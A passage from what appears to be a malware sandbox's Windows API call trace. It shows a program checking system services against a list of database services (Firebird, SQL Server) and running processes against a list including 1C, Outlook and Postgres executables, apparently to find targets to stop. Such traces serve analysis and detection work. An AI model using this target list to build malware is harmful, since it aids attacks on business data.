(lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0222.119] lstrlenW (lpString="AudioSrv") returned 8 [0222.119] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0222.119] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0222.119] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0222.119] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0222.119] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0222.119] lstrlenW (lpString="BFE") returned 3 [0222.119] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0222.119] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0222.119] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0222.119] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0222.119] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0222.119] lstrlenW (lpString="CryptSvc") returned 8 [0222.119] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0222.119] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0222.119] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0222.119] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0222.119] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0222.119] lstrlenW (lpString="CscService") returned 10 [0222.119] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0222.119] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0222.120] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0222.120] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0222.120] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0222.120] lstrlenW (lpString="DcomLaunch") returned 10 [0222.120] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0222.120] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0222.120] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0222.120] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0222.120] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0222.120] lstrlenW (lpString="Dhcp") returned 4 [0222.120] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0222.120] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0222.120] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0222.120] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0222.120] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0222.120] lstrlenW (lpString="Dnscache") returned 8 [0222.120] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0222.120] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0222.120] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0222.120] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0222.120] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0222.120] lstrlenW (lpString="DPS") returned 3 [0222.120] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0222.120] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0222.120] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0222.120] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0222.120] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0222.120] lstrlenW (lpString="eventlog") returned 8 [0222.120] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0222.121] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0222.121] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0222.121] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0222.121] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0222.121] lstrlenW (lpString="EventSystem") returned 11 [0222.121] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0222.121] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0222.121] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0222.121] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0222.121] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0222.121] lstrlenW (lpString="FontCache") returned 9 [0222.121] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0222.121] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0222.121] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0222.121] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0222.121] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0222.121] lstrlenW (lpString="gpsvc") returned 5 [0222.121] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0222.121] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0222.121] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0222.121] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0222.121] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0222.121] lstrlenW (lpString="iphlpsvc") returned 8 [0222.121] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0222.121] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0222.121] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0222.121] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0222.122] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0222.122] lstrlenW (lpString="LanmanServer") returned 12 [0222.122] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0222.122] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0222.122] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0222.122] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0222.122] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0222.122] lstrlenW (lpString="LanmanWorkstation") returned 17 [0222.122] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0222.122] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0222.122] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0222.122] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0222.122] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0222.122] lstrlenW (lpString="lmhosts") returned 7 [0222.122] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0222.122] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0222.122] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0222.122] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0222.122] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0222.122] lstrlenW (lpString="MMCSS") returned 5 [0222.122] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0222.122] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0222.122] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0222.122] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0222.122] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0222.122] lstrlenW (lpString="MpsSvc") returned 6 [0222.122] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0222.122] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0222.123] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0222.123] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0222.123] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0222.123] lstrlenW (lpString="Netman") returned 6 [0222.123] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0222.123] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0222.123] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0222.123] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0222.123] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0222.123] lstrlenW (lpString="netprofm") returned 8 [0222.123] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0222.123] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0222.123] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0222.123] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0222.123] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0222.123] lstrlenW (lpString="NlaSvc") returned 6 [0222.123] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0222.123] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0222.123] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0222.123] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0222.123] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0222.123] lstrlenW (lpString="nsi") returned 3 [0222.123] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0222.123] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0222.123] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0222.123] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0222.123] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0222.124] lstrlenW (lpString="PcaSvc") returned 6 [0222.124] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0222.124] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0222.124] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0222.124] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0222.124] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0222.124] lstrlenW (lpString="PlugPlay") returned 8 [0222.124] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0222.124] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0222.124] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0222.124] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0222.124] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0222.124] lstrlenW (lpString="Power") returned 5 [0222.124] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0222.124] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0222.124] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0222.124] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0222.124] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0222.124] lstrlenW (lpString="ProfSvc") returned 7 [0222.124] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0222.124] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0222.124] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0222.124] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0222.124] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0222.124] lstrlenW (lpString="RpcEptMapper") returned 12 [0222.124] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0222.124] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0222.125] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0222.125] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0222.125] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0222.125] lstrlenW (lpString="RpcSs") returned 5 [0222.125] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0222.125] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0222.125] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0222.125] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0222.125] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0222.125] lstrlenW (lpString="SamSs") returned 5 [0222.125] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0222.125] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0222.125] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0222.125] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0222.125] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0222.125] lstrlenW (lpString="Schedule") returned 8 [0222.125] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0222.125] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0222.125] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0222.125] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0222.125] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0222.125] lstrlenW (lpString="SENS") returned 4 [0222.125] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0222.125] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0222.125] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0222.125] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0222.125] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0222.125] lstrlenW (lpString="ShellHWDetection") returned 16 [0222.126] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0222.126] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0222.126] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0222.126] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0222.126] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0222.126] lstrlenW (lpString="Spooler") returned 7 [0222.126] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0222.126] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0222.126] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0222.126] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0222.126] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0222.126] lstrlenW (lpString="sppsvc") returned 6 [0222.126] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0222.126] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0222.126] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0222.126] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0222.126] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0222.126] lstrlenW (lpString="swprv") returned 5 [0222.126] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0222.126] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0222.126] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0222.126] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0222.126] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0222.126] lstrlenW (lpString="SysMain") returned 7 [0222.126] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0222.126] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0222.126] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0222.126] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0222.127] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0222.127] lstrlenW (lpString="Themes") returned 6 [0222.127] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0222.127] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0222.127] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0222.127] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0222.127] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0222.127] lstrlenW (lpString="TrkWks") returned 6 [0222.127] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0222.127] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0222.127] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0222.127] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0222.127] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0222.127] lstrlenW (lpString="UxSms") returned 5 [0222.127] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0222.127] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0222.127] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0222.127] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0222.127] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0222.127] lstrlenW (lpString="VSS") returned 3 [0222.127] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0222.127] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0222.127] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0222.127] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0222.127] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0222.127] lstrlenW (lpString="WdiServiceHost") returned 14 [0222.127] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0222.127] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0222.128] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0222.128] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0222.128] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0222.128] lstrlenW (lpString="WdiSystemHost") returned 13 [0222.128] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0222.128] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0222.128] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0222.128] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0222.128] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0222.128] lstrlenW (lpString="WinDefend") returned 9 [0222.128] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0222.128] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0222.128] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0222.128] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0222.128] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0222.128] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0222.128] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0222.128] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0222.128] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0222.128] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0222.128] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0222.128] lstrlenW (lpString="Winmgmt") returned 7 [0222.128] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0222.128] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0222.128] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0222.128] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0222.128] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0222.128] lstrlenW (lpString="wscsvc") returned 6 [0222.129] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0222.129] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0222.129] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0222.129] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0222.129] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0222.129] lstrlenW (lpString="wuauserv") returned 8 [0222.129] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0222.129] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0222.129] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0222.129] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0222.129] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wuauserv") returned -1 [0222.129] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3f1c0d8 | out: hHeap=0x4f0000) returned 1 [0222.129] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x224 [0222.131] Process32FirstW (in: hSnapshot=0x224, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0222.132] Process32NextW (in: hSnapshot=0x224, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0222.133] lstrlenW (lpString="System") returned 6 [0222.133] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0222.133] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0222.133] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0222.133] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0222.133] Process32NextW (in: hSnapshot=0x224, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0222.134] lstrlenW (lpString="smss.exe") returned 8 [0222.134] Process32NextW (in: hSnapshot=0x224, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0222.135] lstrlenW (lpString="csrss.exe") returned 9 [0222.135] Process32NextW (in: hSnapshot=0x224, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0222.136] lstrlenW (lpString="wininit.exe") returned 11 [0222.136] Process32NextW (in: hSnapshot=0x224, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0222.137] lstrlenW (lpString="csrss.exe") returned 9 [0222.137] Process32NextW (in: hSnapshot=0x224, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0222.138] lstrlenW (lpString="winlogon.exe") returned 12 [0222.138] Process32NextW (in: hSnapshot=0x224, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0222.139] lstrlenW (lpString="services.exe") returned 12 [0222.139] Process32NextW (in: hSnapshot=0x224, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0222.140] lstrlenW (lpString="lsass.exe") returned 9 [0222.140] Process32NextW (in: hSnapshot=0x224, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0222.140] lstrlenW (lpString="lsm.exe") returned 7 [0222.140] Process32NextW (in: hSnapshot=0x224, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.141] lstrlenW (lpString="svchost.exe") returned 11 [0222.141] Process32NextW 